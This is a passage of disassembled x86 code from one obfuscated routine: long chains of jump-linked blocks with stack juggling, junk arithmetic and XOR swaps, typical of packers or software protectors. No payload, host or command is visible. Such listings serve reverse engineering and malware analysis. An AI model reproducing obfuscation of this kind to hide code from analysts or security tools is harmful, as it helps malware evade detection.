loc_5958A4:				; CODE XREF: sub_57DD3A+1B977j
		not	ch
		jmp	loc_594757
; ---------------------------------------------------------------------------


loc_5958AB:				; CODE XREF: sub_57DD3A+19229j
		pop	[esp+60h+var_60]
		pop	esp
		push	ebp
		mov	ebp, 13AC2CA0h
		jmp	loc_59D682
; ---------------------------------------------------------------------------


loc_5958BA:				; CODE XREF: sub_57DD3A+23C62j
		mov	[esp+5Ch+var_5C], esi
		mov	esi, 4
		jmp	loc_59EF2F
; ---------------------------------------------------------------------------


loc_5958C7:				; CODE XREF: sub_57DD3A+22079j
		mov	edx, 1
		sub	ecx, edx
		jmp	loc_59FB83
; ---------------------------------------------------------------------------


loc_5958D3:				; CODE XREF: sub_57DD3A+13E8Bj
		push	[esp+4Ah+var_4C+2]
		pop	edi
		push	esi
		jmp	loc_59130A
; ---------------------------------------------------------------------------


loc_5958DD:				; CODE XREF: sub_57DD3A+2408Cj
		mov	[esp+4Eh+var_50+2], ebx
		jmp	loc_58EDB7
; ---------------------------------------------------------------------------


loc_5958E5:				; CODE XREF: sub_57DD3A+19F12j
		add	edx, 9548D2BCh
		sub	esp, 4
		jmp	loc_59474C
; ---------------------------------------------------------------------------


loc_5958F6:				; CODE XREF: sub_57DD3A+23CBCj
		xor	[esp+52h+var_54+2], ecx
		xor	ecx, [esp+52h+var_54+2]
		pop	esp
		xor	bx, ax
		jmp	loc_5947CE
; ---------------------------------------------------------------------------


loc_595905:				; CODE XREF: sub_57DD3A+141A4j
		or	eax, 5ABA2206h
		shl	eax, 5
		sub	eax, 7F4973C6h
		xor	ebp, eax
		pop	eax
		shr	ebp, 4
		push	eax
		push	edx
		mov	edx, 3ED156D7h
		mov	eax, edx
		jmp	loc_58FD21
; ---------------------------------------------------------------------------


loc_595926:				; CODE XREF: sub_57DD3A+1858Ej
		sar	word ptr [esp+70h+var_70], cl
		pushf
		jmp	loc_599333
; ---------------------------------------------------------------------------


loc_595930:				; CODE XREF: sub_57DD3A+188E9j
		push	esi
		mov	esi, 1FCC65F4h
		neg	esi
		jmp	loc_598DB0
; ---------------------------------------------------------------------------


loc_59593D:				; CODE XREF: sub_57DD3A+11C36j
		pop	esp
		jmp	loc_5A25A7
; ---------------------------------------------------------------------------


loc_595943:				; CODE XREF: sub_57DD3A+14DE1j
		sub	ebp, 3AD35AC6h
		jmp	loc_599284
; ---------------------------------------------------------------------------


loc_59594E:				; CODE XREF: sub_57DD3A+164FFj
		pop	edi
		or	edi, 617D581Fh
		sub	edi, 2A1565F2h
		jmp	loc_59E12B
; ---------------------------------------------------------------------------


loc_595960:				; CODE XREF: sub_57DD3A+14F32j
		mov	word ptr [esp+66h+var_68+2], ax
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_595969:				; CODE XREF: sub_57DD3A+11EB9j
		mov	[esp+14h+var_16+2], ebp
		push	esi
		mov	esi, 0Ah
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ecx
		push	esi
		jmp	loc_59A350
; ---------------------------------------------------------------------------


loc_59597E:				; CODE XREF: sub_57DD3A+118C8j
		add	edi, 48E5B06h
		add	edi, ecx
		sub	edi, 48E5B06h
		sub	edi, 237B0DA4h
		push	edx
		mov	edx, 497744A0h
		sub	edi, edx
		jmp	loc_59B894
; ---------------------------------------------------------------------------


loc_59599F:				; CODE XREF: sub_57DD3A+25404j
		sub	esp, 4
		mov	[esp+74h+var_74], ebx
		not	[esp+74h+var_74]
		pop	ebx
		jmp	loc_5A31B8
; ---------------------------------------------------------------------------


loc_5959B1:				; CODE XREF: sub_57DD3A+151D7j
		mov	esp, [esp+4Ah+var_4C+2]
		mov	[esp+4Ah+var_4C+2], ebp
		mov	ebp, 5FD7660Ch
		push	ecx
		mov	ecx, 38A65E29h
		jmp	loc_597323
; ---------------------------------------------------------------------------


loc_5959C7:				; CODE XREF: sub_57DD3A+18968j
		mov	[esp+4Eh+var_50+2], edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_5927BB
; ---------------------------------------------------------------------------


loc_5959D7:				; CODE XREF: sub_57DD3A+10E77j
		add	al, 0ADh
		add	al, dl
		sub	al, 0ADh
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		push	ecx
		jmp	loc_5945FE
; ---------------------------------------------------------------------------


loc_5959E9:				; CODE XREF: sub_57DD3A+11FC9j
		sub	eax, ebx
		pop	ebx
		add	edi, 16F91973h
		add	edi, eax
		sub	edi, 16F91973h
		jmp	loc_58F315
; ---------------------------------------------------------------------------


loc_5959FF:				; CODE XREF: sub_57DD3A+14832j
		pop	edx
		push	ecx
		jmp	loc_59DE28
; ---------------------------------------------------------------------------


loc_595A06:				; CODE XREF: sub_57DD3A+1E32Dj
		add	edi, ecx
		mov	ecx, [esp+20h+var_22+2]
		add	esp, 4
		push	edi
		push	[esp+20h+var_1E+2]
		pop	edi
		pop	[esp+20h+var_22+2]
		jmp	loc_5A2D39
; ---------------------------------------------------------------------------


loc_595A1F:				; CODE XREF: sub_57DD3A+13969j
		mov	edi, esp
		push	ebp
		push	1557630Fh
		jmp	loc_596B42
; ---------------------------------------------------------------------------


loc_595A2C:				; CODE XREF: sub_57DD3A+1837Ej
		sub	eax, 4
		xor	eax, [esp+3Ah+var_3A]
		xor	[esp+3Ah+var_3A], eax
		xor	eax, [esp+3Ah+var_3A]
		pop	esp
		jmp	loc_5916B9
; ---------------------------------------------------------------------------


loc_595A3E:				; CODE XREF: sub_57DD3A+1F2A4j
		mov	[esp+36h+var_36], ebx
		mov	ebx, esp
		add	ebx, 4
		push	0B94h
		mov	[esp+3Ah+var_3A], edi
		jmp	loc_58FB91
; ---------------------------------------------------------------------------


loc_595A56:				; CODE XREF: sub_57DD3A+1891Bj
		mov	[esp+3Ah+var_3A], edx
		sub	esp, 4
		push	esp
		pop	[esp+42h+var_42]
		add	[esp+3Eh+var_3E], 4
		mov	edx, [esp+3Eh+var_3E]
		add	esp, 4
		push	16C7h
		jmp	loc_5A0276
; ---------------------------------------------------------------------------


loc_595A7A:				; CODE XREF: sub_57DD3A+1E76Ej
		mov	edi, esp
		jmp	loc_59D6E3
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		push	[esp+42h+var_42]
		push	[esp+46h+var_46]
		pop	eax
		jmp	loc_596A18
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+46h+var_46]
		push	6B1Ah
		mov	[esp+4Ah+var_4C+2], edi
		push	esp
		mov	edi, [esp+4Eh+var_50+2]
		sub	esp, 4
		mov	[esp+52h+var_54+2], ebp
		push	esp
		jmp	loc_5A09EF
; ---------------------------------------------------------------------------


loc_595AAF:				; CODE XREF: sub_57DD3A+10A6Cj
		add	esi, 0A7103902h
		and	ecx, esi
		jmp	loc_595CB6
; ---------------------------------------------------------------------------


loc_595ABC:				; CODE XREF: sub_57DD3A+115D6j
		pop	eax
		sub	eax, 0F492E9DCh
		and	ebp, eax
		pop	eax
		or	ebp, 78DD4AAEh
		neg	ebp
		not	ebp
		jmp	loc_59A62A
; ---------------------------------------------------------------------------


loc_595AD4:				; CODE XREF: sub_57DD3A+20B3Fj
		add	bh, 2
		jmp	loc_59A11F
; ---------------------------------------------------------------------------


loc_595ADC:				; CODE XREF: sub_57DD3A+18162j
		push	eax
		mov	ah, 0E9h
		mov	bh, ah
		pop	eax
		sub	al, bh
		pop	bx
		push	[esp+3Ch+var_3E+2]
		pop	edx
		push	eax
		mov	eax, esp
		jmp	loc_593292
; ---------------------------------------------------------------------------


loc_595AF2:				; CODE XREF: sub_57DD3A+1C573j
		shl	edi, 3
		jmp	loc_5A0D3A
; ---------------------------------------------------------------------------


loc_595AFA:				; CODE XREF: sub_57DD3A+12A6Aj
		push	[esp+20h+var_22+2]
		mov	ecx, [esp+24h+var_26+2]
		add	esp, 4
		add	esp, 4
		pop	edx
		jmp	loc_5A001D
; ---------------------------------------------------------------------------


loc_595B0F:				; CODE XREF: sub_57DD3A+1486Ej
		mov	esi, eax
		pop	eax
		pop	ebp
		jmp	loc_59CAF8
; ---------------------------------------------------------------------------


loc_595B18:				; CODE XREF: sub_57DD3A+16700j
		mov	edi, 0D29D70C4h
		sub	edx, edi
		jmp	loc_59DDDA
; ---------------------------------------------------------------------------


loc_595B24:				; CODE XREF: sub_57DD3A+22D0Ej
		push	[esp+18h+var_1A+2]
		mov	eax, [esp+1Ch+var_1E+2]
		jmp	loc_5A0978
; ---------------------------------------------------------------------------


loc_595B2F:				; CODE XREF: sub_57DD3A+1FCDFj
		add	esi, 56674C12h
		xor	esi, 0C54A374Ch
		or	ecx, esi
		pop	esi
		jmp	loc_59BDB1
; ---------------------------------------------------------------------------


loc_595B43:				; CODE XREF: sub_57DD3A+1BD6Bj
		xor	ebp, [esp+18h+var_1A+2]
		mov	esp, [esp+18h+var_1A+2]
		sub	byte ptr [esp+18h+var_1A+2], al
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_595B52:				; CODE XREF: sub_57DD3A+185CBj
		and	ecx, 6AD27BA0h
		sub	ecx, 73981E01h
		jmp	loc_5A272F
; ---------------------------------------------------------------------------


loc_595B63:				; CODE XREF: sub_57DD3A+1E0A2j
		dec	esi
		jmp	loc_58F2A5
; ---------------------------------------------------------------------------


loc_595B69:				; CODE XREF: sub_57DD3A+12D9Aj
		or	edi, esi
		pop	esi
		push	ebx
		mov	ebx, 18B5E733h
		xor	edi, ebx
		push	[esp+10h+var_12+2]
		pop	ebx
		push	edx
		jmp	loc_59A4C4
; ---------------------------------------------------------------------------


loc_595B7E:				; CODE XREF: sub_57DD3A+18EBDj
		push	ecx
		mov	cl, 0BCh
		xor	bl, cl
		pop	ecx
		not	bl
		jmp	loc_58F6AD
; ---------------------------------------------------------------------------


loc_595B8B:				; CODE XREF: sub_57DD3A+1C0EBj
		pop	eax
		jmp	loc_58FC68
; ---------------------------------------------------------------------------


loc_595B91:				; CODE XREF: sub_57DD3A+1A028j
		add	ecx, 0FFFFFFFFh
		xor	ecx, 2FCA36A7h
		mov	eax, ecx
		pop	ecx
		xchg	eax, edi
		jmp	loc_58EC16
; ---------------------------------------------------------------------------


loc_595BA3:				; CODE XREF: sub_57DD3A+1D3F9j
		sub	eax, esi
		pop	esi
		sub	eax, 50394FEEh
		sub	eax, ebp
		add	eax, 50394FEEh
		add	eax, 7DB20F09h
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		xor	ebx, eax
		push	434Eh
		mov	[esp+8+var_8], ebx
		jmp	loc_59EEFA
; ---------------------------------------------------------------------------


loc_595BCC:				; CODE XREF: sub_57DD3A+1F546j
		xor	eax, esi
		mov	esi, [esp+8+var_8]
		jmp	loc_5A09FE
; ---------------------------------------------------------------------------


loc_595BD6:				; CODE XREF: sub_57DD3A+11078j
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xor	edx, [esp+22h+var_22]
		xor	[esp+22h+var_22], edx
		jmp	loc_5A0EC7
; ---------------------------------------------------------------------------


loc_595BE9:				; CODE XREF: sub_57DD3A+1D0FBj
		mov	[esp+22h+var_22], edx
		sub	esp, 4
		jmp	loc_598569
; ---------------------------------------------------------------------------


loc_595BF4:				; CODE XREF: sub_57DD3A+12146j
		add	[esp+10h+var_E+2], ebp
		add	[esp+10h+var_E+2], 0F947751h
		sub	[esp+10h+var_E+2], 3EFD2530h
		pop	ebp
		jmp	loc_59BA25
; ---------------------------------------------------------------------------


loc_595C0E:				; CODE XREF: sub_57DD3A+158FEj
		not	ebx
		add	ebx, 0B9D25BF7h
		sub	ebp, ebx
		pop	ebx
		sub	ebp, 40410700h
		pop	ebx
		jmp	loc_59183F
; ---------------------------------------------------------------------------


loc_595C25:				; CODE XREF: sub_57DD3A+18644j
		push	ecx
		mov	ecx, 1
		mov	edi, ecx
		mov	ecx, [esp+1Eh+var_1E]
		add	esp, 4
		jmp	loc_5981F6
; ---------------------------------------------------------------------------


loc_595C38:				; CODE XREF: sub_57DD3A+20DD0j
		mov	esi, 600C41BEh
		add	ebx, esi
		pop	esi
		sub	ebx, ecx
		jmp	loc_590772
; ---------------------------------------------------------------------------


loc_595C47:				; CODE XREF: sub_57DD3A+10A95j
		push	ebx
		jmp	loc_590460
; ---------------------------------------------------------------------------


loc_595C4D:				; CODE XREF: sub_57DD3A+13948j
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_E+2]
		mov	esp, [esp+0Ch+var_E+2]
		push	edx
		push	[esp+10h+var_E+2]
		jmp	loc_59CE42
; ---------------------------------------------------------------------------


loc_595C63:				; CODE XREF: sub_57DD3A+199CCj
		push	ebx
		push	[esp+18h+var_16+2]
		jmp	loc_5916F4
; ---------------------------------------------------------------------------


loc_595C6D:				; CODE XREF: sub_57DD3A+1EF6Ej
		pop	esi
		xor	esi, 5EC32879h
		mov	eax, esi
		pop	esi
		xor	eax, 1C074DF7h
		sub	ecx, eax
		jmp	loc_594AD7
; ---------------------------------------------------------------------------


loc_595C83:				; CODE XREF: sub_57DD3A+11C9Ej
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp+0Ch+var_E+2]
		pop	esp
		mov	[esp+8+var_8], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59D587
; ---------------------------------------------------------------------------


loc_595C9D:				; CODE XREF: sub_57DD3A+1C2F6j
		add	esp, 4
		push	small 5D9Eh
		mov	word ptr [esp+6+var_8+2], bx
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_59C8CD
; ---------------------------------------------------------------------------


loc_595CB6:				; CODE XREF: sub_57DD3A+17D7Dj
		pop	esi
		neg	ecx
		push	ebx
		mov	ebx, 623D55DAh
		shl	ebx, 8
		jmp	loc_5A05A7
; ---------------------------------------------------------------------------


loc_595CC7:				; CODE XREF: sub_57DD3A+11FA2j
		mov	[esp+10h+var_12+2], esp
		add	[esp+10h+var_12+2], 4
		pop	edx
		add	edx, 4
		push	777Ch
		mov	[esp+10h+var_12+2], esi
		mov	esi, 2
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+14h+var_16+2]
		pop	esp
		mov	[esp+10h+var_12+2], edi
		mov	edi, 0B052177h
		add	edx, edi
		pop	edi
		add	edx, esi
		push	6D01h
		mov	[esp+10h+var_12+2], esi
		push	eax
		push	ecx
		push	10606E0h
		pop	ecx
		neg	ecx
		push	eax
		mov	eax, 0F6146B5h
		add	ecx, eax
		jmp	loc_591F9A
; ---------------------------------------------------------------------------


loc_595D21:				; CODE XREF: sub_57DD3A+1F25Dj
		sub	ecx, 3B55E935h
		sub	edx, ecx
		pop	ecx
		jmp	loc_59BB2C
; ---------------------------------------------------------------------------


loc_595D2F:				; CODE XREF: sub_57DD3A+1689Aj
		shl	edx, 8
		not	edx
		jmp	loc_599106
; ---------------------------------------------------------------------------


loc_595D39:				; CODE XREF: sub_57DD3A+240F0j
		dec	edi
		sub	edi, 0FD77BFBBh
		add	eax, edi
		pop	edi
		xor	eax, [esp+50h+var_50]
		xor	[esp+50h+var_50], eax
		xor	eax, [esp+50h+var_50]
		jmp	loc_599D59
; ---------------------------------------------------------------------------


loc_595D51:				; CODE XREF: sub_57DD3A+1B41Cj
		shl	cl, 2
		or	cl, 1Fh
		or	cl, 3Dh
		shl	cl, 5
		neg	cl
		xor	cl, 6Ch
		and	bh, cl
		pop	ecx
		not	bh
		jmp	loc_595445
; ---------------------------------------------------------------------------


loc_595D6C:				; CODE XREF: sub_57DD3A+13ECFj
		pop	eax
		push	47E4h
		mov	[esp+10h+var_12+2], edx
		push	[esp+10h+var_E+2]
		pop	edx
		pop	[esp+10h+var_12+2]
		mov	esp, [esp+0Ch+var_E+2]
		mov	cx, word ptr [esp+0Ch+var_E+2]
		push	1ADBh
		mov	[esp+10h+var_12+2], eax
		sub	esp, 4
		mov	[esp+14h+var_16+2], esp
		add	[esp+14h+var_16+2], 4
		jmp	loc_592799
; ---------------------------------------------------------------------------


loc_595DA1:				; CODE XREF: sub_57DD3A+1DFF9j
		pop	esi
		add	esi, 1
		xor	esi, 0B353CDE0h
		jmp	loc_598D5A
; ---------------------------------------------------------------------------


loc_595DB0:				; CODE XREF: sub_57DD3A+1797Ej
		push	edx
		jmp	loc_5A20B9
; ---------------------------------------------------------------------------


loc_595DB6:				; CODE XREF: sub_57DD3A+1BFADj
		xor	edx, 11AD5841h
		jmp	loc_59EFA3
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+44h+var_46+2]
		push	4AD2h
		mov	[esp], ebx
		push	esi
		mov	esi, esp
		jmp	loc_59223F
; ---------------------------------------------------------------------------


loc_595DD5:				; CODE XREF: sub_57DD3A+1F61Ej
		pop	ebp
		add	ebp, 4
		jmp	loc_590686
; ---------------------------------------------------------------------------


loc_595DE1:				; CODE XREF: sub_57DD3A+1C1DFj
		pop	eax
		push	ebp
		mov	ebp, 2C4913D0h
		add	ebp, 6F6D0794h
		jmp	loc_59F7EE
; ---------------------------------------------------------------------------


loc_595DF3:				; CODE XREF: sub_57DD3A+1DCB6j
		add	bh, 0F2h
		sub	bh, dh
		sub	bh, 0F2h
		jmp	loc_599AE6
; ---------------------------------------------------------------------------


loc_595E00:				; CODE XREF: sub_57DD3A+12CEEj
		mov	[esp+12h+var_12], edi
		mov	edi, 2
		sub	esi, 2C9B4D09h
		jmp	loc_59A389
; ---------------------------------------------------------------------------


loc_595E13:				; CODE XREF: sub_57DD3A+1FBD2j
		push	esi
		mov	esi, esp
		jmp	loc_58ED86
; ---------------------------------------------------------------------------


loc_595E1B:				; CODE XREF: sub_57DD3A+1356Cj
		pop	ebx
		jmp	loc_59CCE5
; ---------------------------------------------------------------------------


loc_595E21:				; CODE XREF: sub_57DD3A+22E64j
		push	4989h
		mov	[esp+4Eh+var_50+2], esp
		add	[esp+4Eh+var_50+2], 4
		pop	edx
		push	460Eh
		mov	[esp+4Eh+var_50+2], ebx
		mov	ebx, 5FF7B62h
		jmp	loc_5955B8
; ---------------------------------------------------------------------------


loc_595E40:				; CODE XREF: sub_57DD3A+15A65j
		pop	ecx
		dec	edi
		add	edi, 0FFFFFFFFh
		add	edi, 201A17D3h
		and	eax, edi
		push	[esp+14h+var_16+2]
		mov	edi, [esp+18h+var_1A+2]
		jmp	loc_59212A
; ---------------------------------------------------------------------------


loc_595E5B:				; CODE XREF: sub_57DD3A+23568j
		push	441634ACh
		pop	ebx
		jmp	loc_59259E
; ---------------------------------------------------------------------------


loc_595E66:				; CODE XREF: sub_57DD3A+11542j
		push	ecx
		mov	cl, 9Eh
		jmp	loc_5A1D8C
; ---------------------------------------------------------------------------


loc_595E6E:				; CODE XREF: sub_57DD3A+20BA8j
		add	esp, 4
		sub	esp, 4
		mov	[esp+14h+var_16+2], esi
		not	[esp+14h+var_16+2]
		jmp	loc_597A6A
; ---------------------------------------------------------------------------


loc_595E7F:				; CODE XREF: sub_57DD3A+1771Dj
		add	bh, 1Eh
		push	ecx
		mov	ch, bh
		jmp	loc_5973C3
; ---------------------------------------------------------------------------


loc_595E8A:				; CODE XREF: sub_57DD3A+222CFj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5919FD
; ---------------------------------------------------------------------------


loc_595E98:				; CODE XREF: sub_57DD3A+220AAj
		mov	word ptr [esp+54h+var_54], bx
		jmp	loc_595ADC
; ---------------------------------------------------------------------------


loc_595EA1:				; CODE XREF: sub_57DD3A+138B1j
		add	eax, ebx
		sub	eax, 13290CD3h
		push	edx
		jmp	loc_59AAB0
; ---------------------------------------------------------------------------


loc_595EAE:				; CODE XREF: sub_57DD3A+164EAj
		add	edx, 0FFFFFFFFh
		jmp	loc_59C23D
; ---------------------------------------------------------------------------


loc_595EB9:				; CODE XREF: sub_57DD3A+14101j
		pop	ecx
		push	ebp
		push	6629h
		mov	[esp+20h+var_22+2], edx
		jmp	loc_58EC0C
; ---------------------------------------------------------------------------


loc_595EC8:				; CODE XREF: sub_57DD3A+1F8EAj
		add	[esp+20h+var_1A+2], 7676107Fh
		sub	[esp+20h+var_1A+2], esi
		sub	[esp+20h+var_1A+2], 7676107Fh
		add	[esp+20h+var_1A+2], 35DB0E59h
		pop	esi
		add	[esp+1Ch+var_1A+2], ebx
		push	esi
		mov	esi, 62115A0Bh
		add	[esp+20h+var_1A+2], 33346ACCh
		add	[esp+20h+var_1A+2], esi
		sub	[esp+20h+var_1A+2], 33346ACCh
		mov	esi, [esp+20h+var_22+2]
		add	esp, 4
		jmp	loc_5A26B2
; ---------------------------------------------------------------------------


loc_595F11:				; CODE XREF: sub_57DD3A+1D1A0j
		add	ecx, eax
		add	ecx, 6A0B36A1h
		push	[esp+1Ch+var_1E+2]
		pop	eax
		jmp	loc_59A6E7
; ---------------------------------------------------------------------------


loc_595F22:				; CODE XREF: sub_57DD3A+1FE42j
		push	ax
		jmp	loc_594E48
; ---------------------------------------------------------------------------


loc_595F29:				; CODE XREF: sub_57DD3A+1114Aj
		sub	edx, 7555A104h
		sub	eax, 71E340A2h
		sub	eax, edx
		add	eax, 71E340A2h
		pop	edx
		push	edx
		mov	edx, 694B3AB4h
		dec	edx
		sub	edx, 0C9AEEC6h
		sub	edi, edx
		pop	edx
		sub	edi, 1630421Ah
		add	edi, eax
		add	edi, 1630421Ah
		jmp	loc_59659A
; ---------------------------------------------------------------------------


loc_595F5F:				; CODE XREF: sub_57DD3A+22EE3j
		sub	esp, 4
		mov	[esp+2Eh+var_2E], eax
		jmp	loc_59BB6B
; ---------------------------------------------------------------------------


loc_595F6D:				; CODE XREF: sub_57DD3A+1B967j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+2Eh+var_2E]
		pop	esp
		push	edx
		mov	edx, 0
		add	edx, eax
		push	eax
		mov	eax, 0
		add	eax, edx
		jmp	loc_59FD31
; ---------------------------------------------------------------------------


loc_595F8E:				; CODE XREF: sub_57DD3A+15CC3j
		inc	edi
		neg	edi
		inc	edi
		and	edi, 467C5FCAh
		add	edi, 0FFFFFFFFh
		jmp	loc_599E03
; ---------------------------------------------------------------------------


loc_595FA0:				; CODE XREF: sub_57DD3A+15B9Aj
		and	edx, ebp
		pop	ebp
		xor	edx, 23DA6D90h
		add	ebp, edx
		mov	edx, [esp+68h+var_68]
		jmp	loc_59990F
; ---------------------------------------------------------------------------


loc_595FB3:				; CODE XREF: sub_57DD3A+1F358j
		add	eax, ecx
		jmp	loc_5A2F8C
; ---------------------------------------------------------------------------


loc_595FBA:				; CODE XREF: sub_57DD3A+222F1j
		push	ecx
		jmp	loc_59FDE9
; ---------------------------------------------------------------------------


loc_595FC0:				; CODE XREF: sub_57DD3A+171FCj
		add	esi, 0FFEC9800h
		jmp	loc_59758F
; ---------------------------------------------------------------------------


loc_595FCB:				; CODE XREF: sub_57DD3A+152C0j
		add	edx, edi
		mov	edi, [esp+46h+var_46]
		add	esp, 4
		add	edx, ecx
		jmp	loc_5A1C96
; ---------------------------------------------------------------------------


loc_595FDA:				; CODE XREF: sub_57DD3A+1E9F0j
		inc	ebp
		not	ebp
		not	ebp
		add	ebp, 408ED50Eh
		push	esi
		push	75A6050Fh
		pop	esi
		and	esi, 0EDB64E2h
		inc	esi
		push	ecx
		mov	ecx, 39557ECFh
		not	ecx
		add	ecx, 79F43976h
		sub	ecx, 4C80BCEh
		and	ecx, 34263B29h
		jmp	loc_598B6D
; ---------------------------------------------------------------------------


loc_596012:				; CODE XREF: sub_57DD3A+1EB35j
		push	ebp
		mov	ebp, esp
		jmp	loc_5954CE
; ---------------------------------------------------------------------------


loc_59601A:				; DATA XREF: sub_57DD3A+10522o
		mov	ax, fs:[edx]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	768Dh
		mov	[esp+56h+var_58+2], esi
		push	ebp
		mov	ebp, 2E98298Ah
		sub	ebp, 2E982988h
		mov	esi, ebp
		pop	ebp
		sub	ecx, esi
		mov	esi, [esp+56h+var_58+2]
		push	3DE0h
		jmp	loc_5A0256
; ---------------------------------------------------------------------------


loc_59604D:				; CODE XREF: sub_57DD3A+1D741j
		mov	[esp+5Ah+var_5C+2], edi
		sub	esp, 4
		mov	[esp+5Eh+var_60+2], edx
		mov	edx, 4
		mov	edi, edx
		mov	edx, [esp+5Eh+var_60+2]
		add	esp, 4
		push	edx
		mov	edx, 7C564DBCh
		add	eax, edx
		pop	edx
		add	eax, edi
		sub	eax, 7C564DBCh
		pop	edi
		add	eax, 2
		xor	eax, [esp+56h+var_58+2]
		xor	[esp+56h+var_58+2], eax
		jmp	loc_59192B
; ---------------------------------------------------------------------------


loc_59608A:				; CODE XREF: sub_57DD3A+222D7j
		or	cl, 0F9h
		add	cl, 1
		push	ebx
		mov	bh, 9Bh
		sub	bh, 9Ah
		jmp	loc_5A145E
; ---------------------------------------------------------------------------


loc_59609B:				; CODE XREF: sub_57DD3A+21355j
		push	50A4h
		mov	[esp+5Eh+var_60+2], ebp
		mov	ebp, 5EEC340Dh
		xor	ebp, 1CB34AA0h
		jmp	loc_59386F
; ---------------------------------------------------------------------------


loc_5960B3:				; CODE XREF: sub_57DD3A+17497j
		add	eax, 4
		jmp	loc_595A2C
; ---------------------------------------------------------------------------


loc_5960BD:				; CODE XREF: sub_57DD3A+1A5D3j
		xor	edi, 679B6DCCh
		add	ecx, edi
		jmp	loc_5A2638
; ---------------------------------------------------------------------------


loc_5960CA:				; CODE XREF: sub_57DD3A+213A4j
		pop	ebp
		jmp	loc_5A1578
; ---------------------------------------------------------------------------


loc_5960D0:				; CODE XREF: sub_57DD3A+1C41Cj
		mov	ebx, [esp+58h+var_58]
		push	ebp
		jmp	loc_5A194C
; ---------------------------------------------------------------------------


loc_5960D9:				; CODE XREF: sub_57DD3A+211F7j
		pop	esi
		push	edx
		push	[esp+5Ch+var_58]
		pop	edx
		jmp	loc_58EDC1
; ---------------------------------------------------------------------------


loc_5960E5:				; CODE XREF: sub_57DD3A+1E719j
		sub	bl, 7Ch
		jmp	loc_58FEE5
; ---------------------------------------------------------------------------


loc_5960ED:				; CODE XREF: sub_57DD3A+1FC6Fj
		or	eax, 75F26021h
		add	eax, 70AF67E4h
		jmp	loc_59D422
; ---------------------------------------------------------------------------


loc_5960FC:				; CODE XREF: sub_57DD3A+23BEDj
		add	eax, ebx
		pop	ebx
		add	eax, 2
		xchg	eax, [esp+58h+var_58]
		mov	esp, [esp+58h+var_58]
		push	ecx
		push	edx
		mov	dh, 0E8h
		shr	dh, 7
		shl	dh, 5
		jmp	loc_5A080C
; ---------------------------------------------------------------------------


loc_596119:				; CODE XREF: sub_57DD3A+19AF1j
		pop	esp
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		push	edx
		mov	edx, 112721FEh
		not	edx
		or	edx, 3911ED4h
		sub	edx, 362C500Ch
		jmp	loc_59801D
; ---------------------------------------------------------------------------


loc_59613F:				; CODE XREF: sub_57DD3A+14BC1j
		pop	esp
		push	edi
		jmp	loc_596C0E
; ---------------------------------------------------------------------------


loc_596146:				; CODE XREF: sub_57DD3A+14DFEj
		mov	ebx, 4A20D72h
		shl	ebx, 3
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		jmp	loc_5A31A8
; ---------------------------------------------------------------------------


loc_596159:				; CODE XREF: sub_57DD3A+1FD5Fj
		mov	[esp+0], edx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], ebp
		push	ebx
		mov	ebx, 18434EDDh
		mov	ebp, 5199B23Bh
		add	ebp, ebx
		pop	ebx
		push	ebx
		push	ecx
		mov	ecx, 12706A48h
		add	ecx, 0FFFFFFFFh
		jmp	loc_599030
; ---------------------------------------------------------------------------


loc_59618F:				; CODE XREF: sub_57DD3A+22D94j
		mov	esi, [esp+6+var_8+2]
		jmp	loc_591ED0
; ---------------------------------------------------------------------------


loc_596197:				; CODE XREF: sub_57DD3A+1B32Dj
		neg	ebp
		add	ebp, 45633F79h
		jmp	loc_5980D4
; ---------------------------------------------------------------------------


loc_5961A4:				; CODE XREF: sub_57DD3A+1FA1Aj
		add	eax, ecx
		pop	ecx
		sub	eax, 32284F15h
		push	4F0Fh
		mov	[esp+6+var_8+2], edx
		jmp	loc_59B62C
; ---------------------------------------------------------------------------


loc_5961B9:				; CODE XREF: sub_57DD3A+1EAD0j
		mov	ebp, [esp+6+var_8+2]
		jmp	loc_592EDC
; ---------------------------------------------------------------------------


loc_5961C1:				; CODE XREF: sub_57DD3A+114D7j
		add	esp, 4
		sub	eax, 0B8C4096Fh
		add	edx, eax
		jmp	loc_5A2C2F
; ---------------------------------------------------------------------------


loc_5961D0:				; CODE XREF: sub_57DD3A+20826j
		push	esp
		mov	eax, [esp+14h+var_16+2]
		add	esp, 4
		push	ecx
		mov	ecx, 691D39A0h
		add	ecx, 96E2C664h
		add	eax, ecx
		push	[esp+14h+var_16+2]
		jmp	loc_58E8F5
; ---------------------------------------------------------------------------


loc_5961ED:				; CODE XREF: sub_57DD3A+12B51j
		mov	edx, 4
		add	ebp, edx
		jmp	loc_59D458
; ---------------------------------------------------------------------------


loc_5961F9:				; CODE XREF: sub_57DD3A+176DFj
		idiv	ecx
		push	2044h
		jmp	loc_59B550
; ---------------------------------------------------------------------------


loc_596205:				; CODE XREF: sub_57DD3A+1A997j
		pop	ebx
		push	21DCh
		mov	[esp+3Ah+var_3A], eax
		push	esp
		pop	eax
		jmp	loc_596B96
; ---------------------------------------------------------------------------


loc_596215:				; CODE XREF: sub_57DD3A+11CC7j
		push	5639h
		mov	[esp+8+var_8], edi
		jmp	loc_59507C
; ---------------------------------------------------------------------------


loc_596222:				; CODE XREF: sub_57DD3A+1A711j
		push	5BB3h
		mov	[esp+0Ch+var_E+2], ebp
		jmp	loc_59E8B9
; ---------------------------------------------------------------------------


